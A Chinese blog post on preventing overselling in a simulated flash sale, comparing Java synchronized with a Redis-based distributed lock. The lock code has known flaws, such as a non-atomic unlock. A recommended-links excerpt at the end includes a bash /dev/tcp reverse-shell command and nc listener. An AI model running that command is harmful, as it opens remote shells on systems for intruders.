synchronized的不足与redis分布式锁的使用
这里是一个简单模拟秒杀的逻辑,stock和orders为两个Map,分别模拟库存表和订单表
public void orderProductMockDiffUser(String productId)
{
//1.查询该商品库存,为0则秒杀活动结束。
int stockNum = stock.get(productId);
if(stockNum == 0) {
throw new SellException(100,"活动结束");
}else {
//2.下单(模拟不同用户id不同)
orders.put(KeyUtil.genUniqueKey(),productId);
//3.减库存(模拟在内存(或redis)中减库存)
stockNum =stockNum-1;
try {
//4.模拟一些IO或其他业务操作
Thread.sleep(100);
} catch (InterruptedException e) {
e.printStackTrace();
}
stock.put(productId,stockNum);
}
}
这段逻辑存在的问题是当并发量大的时候,会造成卖出的商品数与库存减去的数目不一致

我们可以使用synchronized关键字来解决这个问题,在方法名上加上synchronized
public synchronized void orderProductMockDiffUser(String productId)
虽然synchronized可以解决数目不一致的问题,但是缺点也很明显,那就是慢,因为synchronized修饰的方法是同步的,也就是说每次只有一个线程访问这个方法,而且synchronized只适用于单点的情况。
更好的方法是使用redis分布式锁
@Component
@Slf4j
public class RedisLock { @Autowired
private StringRedisTemplate redisTemplate; /**
* 加锁
* @param key 商品id
* @param value 当前时间+超时时间
* @return
*/
public boolean lock(String key, String value) {
//setIfAbsent()也就是redis的setnx,当key不存在时设置value
if(redisTemplate.opsForValue().setIfAbsent(key, value)) {
//加锁成功
return true;
}
//当锁已存在,可以获取该锁的value,来判断是否过期
String currentValue = redisTemplate.opsForValue().get(key);
//如果锁过期
if (!StringUtils.isEmpty(currentValue)
&& Long.parseLong(currentValue) < System.currentTimeMillis()) {
//获取上一个锁的时间
String oldValue = redisTemplate.opsForValue().getAndSet(key, value);
//如果多个线程同时进入这里,则可以通过判断oldValue与currentValue是否相等来限制多个线程加锁
if (!StringUtils.isEmpty(oldValue) && oldValue.equals(currentValue)) {
return true;
}
} return false;
} /**
* 解锁
* @param key
* @param value
*/
public void unlock(String key, String value) {
try {
String currentValue = redisTemplate.opsForValue().get(key);
if (!StringUtils.isEmpty(currentValue) && currentValue.equals(value)) {
redisTemplate.opsForValue().getOperations().delete(key);
}
}catch (Exception e) {
log.error("【redis分布式锁】解锁异常, {}", e);
}
} }
这样我们只要在秒杀逻辑开始时加上锁,逻辑结束后解锁就可以了。redis分布式锁不仅比synchronized更快,而且也适用于分布式。
public void orderProductMockDiffUser(String productId)
{
//加锁
long time=System.currentTimeMillis()+TIMEOUT;
if(!redisLock.lock(productId,String.valueOf(time))){
throw new SellException(ResultEnum.REDIS_LOCK_FAIL);
}
//1.查询该商品库存,为0则活动结束。
int stockNum = stock.get(productId);
if(stockNum == 0) {
throw new SellException(100,"活动结束");
}else {
//2.下单(模拟不同用户openid不同)
orders.put(KeyUtil.genUniqueKey(),productId);
//3.减库存(模拟在内存(或redis)中减库存)
stockNum =stockNum-1;
try {
//4.模拟一些IO或其他业务操作
Thread.sleep(100);
} catch (InterruptedException e) {
e.printStackTrace();
}
stock.put(productId,stockNum);
} //解锁
redisLock.unlock(productId,String.valueOf(time));
}
synchronized的不足与redis分布式锁的使用的更多相关文章
- 用压测模拟并发、并发处理(synchronized,redis分布式锁)
使用工具:Apache an 测压命令: ab -n 100 -c 100 http://www.baidu.com -n代表模拟100个请求,-c代表模拟100个并发,相当于100个人同时访问 ab ...
- redis分布式锁实践
分布式锁在多实例部署,分布式系统中经常会使用到,这是因为基于jvm的锁无法满足多实例中锁的需求,本篇将讲下redis如何通过Lua脚本实现分布式锁,不同于网上的redission,完全是手动实现的 我 ...
- Redis分布式锁的try-with-resources实现
Redis分布式锁的try-with-resources实现 一.简介 在当今这个时代,单体应用(standalone)已经很少了,java提供的synchronized已经不能满足需求,大家自然 而 ...
- 关于分布式锁原理的一些学习与思考-redis分布式锁,zookeeper分布式锁
首先分布式锁和我们平常讲到的锁原理基本一样,目的就是确保,在多个线程并发时,只有一个线程在同一刻操作这个业务或者说方法.变量. 在一个进程中,也就是一个jvm 或者说应用中,我们很容易去处理控制,在j ...
- Lua脚本在redis分布式锁场景的运用
目录 锁和分布式锁 锁是什么? 为什么需要锁? Java中的锁 分布式锁 redis 如何实现加锁 锁超时 retry redis 如何释放锁 不该释放的锁 通过Lua脚本实现锁释放 用redis做分 ...
- Redis 分布式锁及缓存注释的使用方法
使用工具:Apache an 测压命令: ab -n 100 -c 100 http://www.baidu.com -n代表模拟100个请求,-c代表模拟100个并发,相当于100个人同时访问 ab ...
- SpringBoot集成Redis分布式锁以及Redis缓存
https://blog.csdn.net/qq_26525215/article/details/79182687 集成Redis 首先在pom.xml中加入需要的redis依赖和缓存依赖 < ...
- Redis分布式锁的实现
前段时间,我在的项目组准备做一个类似美团外卖的拼手气红包[第X个领取的人红包最大],基本功能实现后,就要考虑这一操作在短时间内多个用户争抢同一资源的并发问题了,类似于很多应用如淘宝.京东的秒杀活动场景 ...
- springboot项目:Redis分布式锁的使用(模拟秒杀系统)
模拟秒杀系统: 第一步:编写Service package com.payease.service; /** * liuxiaoming * 2017-12-14 */ public interfac ...
随机推荐
- leaflet地图框架
leaflet 中文API LeafLet js 官网:http://leafletjs.com/index.html LeafLet js 官网demo: http://leafletjs.com/ ...
- ubuntu之路——day11.1 如何进行误差分析
举个例子 还是分类猫图片的例子 假设在dev上测试的时候,有100张图片被误分类了.现在要做的就是手动检查所有被误分类的图片,然后看一下这些图片都是因为什么原因被误分类了. 比如有些可能因为被误分类为 ...
- Ubuntu -- 反射shell nc
攻击机: apt-get install netcat nc -lvvp 80 受害机: /bin/bash -i >& /dev/tcp/139.xxx.18.xx/80 0>& ...
- CMU Database Systems - Storage and BufferPool
Database Storage 存储分为volatile和non-volatile,越快的越贵越小 那么所以要解决的第一个问题就是,如果尽量在有限的成本下,让读写更快些 意思就是,尽量读写volat ...
- 空指针异常 自动拆箱 防止 NPE,是程序员的基本修养 本手册明确防止 NPE 是调用者的责任。
空指针异常 空指针异常是指java中的异常类. 中文名 空指针异常 外文名 NullPointerException 当应用程序试图在需要对象的地方使用 null 时,抛出该异常.这种情况包括: ...
- Java对象为啥要实现Serializable接口
Serializable接口概述 Serializable是java.io包中定义的.用于实现Java类的序列化操作而提供的一个语义级别的接口.Serializable序列化接口没有任何方法或者字段, ...
- OpenGL ES: (4) EGL API详解 (转)
上一节我们初步学习了 OpenGL ES.EGL.GLSL 的相关概念,了解了它们的功能,以及它们之间的关联.我们知道了 EGL 是绘制 API(比如 OpenGL ES)与 底层平台窗口系统之间的接 ...
- php redis set 单机锁(转)
如果一个请求更新缓存的时间比较长,甚至比锁的有效期还要长,导致在缓存更新过程中,锁就失效了,此时另一个请求会获取锁,但前一个请求在缓存更新完毕的时候,如果不加以判断直接删除锁,就会出现误删除其它请求创 ...
- System.MarshallByRefObject.cs
ylbtech-System.MarshallByRefObject.cs 允许在支持远程处理的应用程序中跨应用程序域边界访问对象. 1.返回顶部 1. #region 程序集 mscorlib, V ...
- 磁盘I/O高居不下,通过什么来查看占用I/O的进程?
iotop命令是一个用来监视磁盘I/O使用状况的top类工具.iotop具有与top相似的UI,其中包括PID.用户.I/O.进程等相关信息.Linux下的IO统计工具如iostat,nmon等大多数 ...